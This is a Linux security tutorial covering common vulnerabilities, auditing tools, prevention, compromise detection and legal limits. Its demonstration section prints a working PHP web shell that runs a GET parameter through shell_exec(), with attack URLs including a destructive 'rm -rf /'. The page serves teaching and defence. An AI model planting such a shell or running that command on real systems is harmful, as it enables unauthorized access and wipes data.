Linux Hacking Tutorial: Ubuntu Commands & Tools

Linux is the most widely used server operating system, especially for web servers. It is open source, which means anyone can read the source code. That transparency cuts both ways: maintainers use it to find and fix flaws quickly, while attackers study the same code looking for weaknesses to exploit. Linux hacking is the practice of exploiting those weaknesses to gain unauthorized access to a system.

The sections below cover what Linux is, the security vulnerabilities that affect it, a hands-on look at hacking with Ubuntu, and the countermeasures you can put in place.

Quick Note on Linux

Linux is an open source operating system. Many distributions are built on it, including Red Hat Enterprise Linux, Fedora, Debian, and Ubuntu. Because the source code is published, researchers, vendors, and attackers can all inspect it. Attackers use that access to look for exploitable flaws, while the same visibility lets maintainers ship fixes faster than closed platforms often manage. Linux runs as a server, desktop, tablet, or mobile device operating system.

Linux programs can be operated through a graphical interface or from the command line. Command-line work is faster and more precise than clicking through a GUI, which is why security testers working on distributions such as Kali Linux spend almost all their time in a terminal. Knowing the basic commands is therefore a practical prerequisite.

Refer to this Linux tutorial for the fundamentals, and to the Kali Linux tutorial for the security-focused distribution built on top of them.

Common Linux Security Vulnerabilities and Attack Vectors

Attacks on Linux rarely rely on exotic exploits. Telemetry published across 2025 and 2026 shows that most compromises trace back to a small set of recurring weaknesses, and knowing them tells you where to spend defensive effort first.

• Weak or reused SSH credentials — brute-force and credential-stuffing attempts against internet-facing SSH account for the large majority of hostile activity observed on Linux endpoints.
• Unpatched kernel and package flaws — the Linux kernel team became a CVE Numbering Authority in 2024, and reported kernel CVEs rose from roughly 290 in 2023 to more than 3,500 the following year, so patch backlogs build up quickly.
• Misconfiguration — default accounts, unnecessary daemons, world-writable files, and permissive sudo rules hand out privileges that no exploit was needed to obtain.
• Vulnerable web applications — flaws such as SQL injection and cross-site scripting let an attacker reach the server through the application rather than the operating system. Web shells are the single most common malicious artefact found on compromised Linux servers.
• Privilege escalation bugs — local flaws that turn a limited account into root. Some have survived undetected in the kernel for more than a decade before disclosure.
• Supply-chain and dependency risk — third-party packages, language libraries, and container images pull in code that nobody on the operating team has reviewed.

None of these require an attacker to defeat Linux itself. Analyses of 2025 intrusions found that roughly four in five involved no malware at all, relying instead on misconfiguration and stolen credentials.

Linux Hacking Tools

Security testers and system administrators reach for the same scanners: one side to find weaknesses before an attacker does, the other to confirm that the fixes hold. The tools below are the ones most often used to audit a Linux host.

The list is not exhaustive; it gives an idea of the tooling available for auditing Ubuntu and other Linux systems. Older guides still recommend SARA, the Security Auditor’s Research Assistant, but its final release dates from 2009 and its project site is offline, so Lynis and OpenVAS are the maintained alternatives.

Hacking Activity: Hack a Ubuntu Linux System using PHP

In this practical scenario, we will look at how a Linux host can be reached through a web application, using PHP as the example. No live victim is targeted. If you want to try it out, install LAMPP, the Linux build of XAMPP, on your own machine.

PHP comes with two functions that can be used to run operating-system commands: exec() and shell_exec(). The function exec() returns the last line of the command output, while shell_exec() returns the whole result of the command as a string.

For demonstration purposes, assume an attacker manages to upload the following file to a web server.

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

HERE,

The script above takes the command from the GET variable named cmd. The command is executed using shell_exec() and the result is returned in the browser.

The code above can be exploited using the following URL

http://localhost/cp/konsole.php?cmd=ls%20-l

HERE,

• “…konsole.php?cmd=ls%20-l” assigns the value ls –l to the variable cmd.

The command on the Ubuntu server is therefore executed as

shell_exec('ls -l') ;

Executing the code above on a web server gives a result similar to the following.

The output simply displays the files in the current directory and their permissions.

Now suppose the attacker passes the following command instead.

rm -rf /

HERE,

• “rm” removes files.
• “rf” makes the rm command run in recursive mode, deleting all folders and files.
• “/” instructs the command to start deleting from the root directory.

The attack URL would look something like this

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

One unvalidated parameter is therefore enough to hand an attacker whatever privileges the web-server account holds. The two sections that follow exist to stop that from happening, and to catch it when prevention fails.

How to Prevent Linux Hacks

Linux hacking takes advantage of vulnerabilities in the operating system and in the software running on top of it. An organization can adopt the following controls, applied together, to close most of the openings described above.

• Patch management — patches fix the bugs attackers exploit to compromise a system. A defined policy makes sure relevant updates are applied promptly rather than whenever someone remembers.
• Proper OS configuration — disable inactive user accounts and unnecessary daemons. Change default settings, including default usernames, shared application passwords, and default port numbers.
• SSH hardening — disable root login and password authentication, permit only named users or groups, and cap authentication retries. This closes the most heavily attacked entry point on Linux.
• Least privilege — give accounts and services only the rights they need, and restrict sudo to specific commands instead of blanket administrative access.
• Mandatory access control — keep SELinux (Red Hat family) or AppArmor (Debian and Ubuntu) in enforcing mode so that a compromised service cannot reach the rest of the system.
• Input validation — the demonstration above only works because request data reaches a shell function. Never pass user input to exec() or shell_exec().
• Firewalls and segmentation — expose only the ports a service genuinely needs, using a firewall and network segmentation to limit what a compromised host can reach.
• Intrusion detection systems — such tools can be used to detect unauthorized access to the system, and some can block the attempt as well.
• Tested backups — offline, restorable backups turn a destructive command like the one above into an outage rather than a permanent loss.

How to Detect a Compromised Linux System

Prevention eventually fails, so the second question is how quickly you would notice. Detection on Linux depends on collecting the right evidence before an incident, not after one.

• Audit logging — the kernel audit framework, auditd, records privilege use, file access, and system calls in a form that a compromised process cannot quietly rewrite. Forward those logs off the host to a central collector.
• Authentication logs — a burst of failures followed by a single success in /var/log/auth.log or /var/log/secure is the classic brute-force signature.
• Unexpected processes and connections — a listening service or outbound connection that nobody can account for deserves investigation immediately.
• File integrity monitoring — tools that hash system binaries and configuration files flag changes to files that should never change.
• Scheduled tasks and startup items — persistence usually lands in cron jobs, systemd units, or shell profile scripts.
• New or modified accounts — look for unfamiliar users, any second account with UID 0, and SSH keys nobody added.
• Web-server directories — because web shells are the most common malicious file found on Linux servers, unexpected script files under a web root deserve close attention.
• Scheduled audits — run a host auditing tool such as Lynis on a schedule and treat each report as a work list rather than a one-off exercise.

If you do find evidence of a compromise, isolate the host, preserve the logs and a disk image before changing anything, and rebuild from known-good media rather than trying to clean a running system. The evidence-handling side of that work is covered in digital forensics.

Legal and Ethical Boundaries of Linux Hacking

Every technique on this page is lawful to practise on systems you own or have written permission to test, and unlawful almost everywhere else. The exercise above deliberately runs against a local installation for exactly that reason.

• Written authorization — a signed scope, an agreed test window, and a named contact are what separate a penetration test from an offense. Verbal approval is not enough.
• Stay inside scope — hosts, address ranges, and techniques that are not listed are not permitted, even when they are reachable.
• Handle data carefully — evidence gathered during a test still contains real personal data and must be stored securely and destroyed afterwards.
• Report responsibly — disclose findings to the owner and allow time for a fix before publishing anything.

The legal exposure is real: unauthorized access to a computer system is a criminal offense under laws such as the US Computer Fraud and Abuse Act and the UK Computer Misuse Act. If you want to build a career on these skills, take a recognized route — a security certification plus a lab you own, rather than somebody else’s server.

FAQs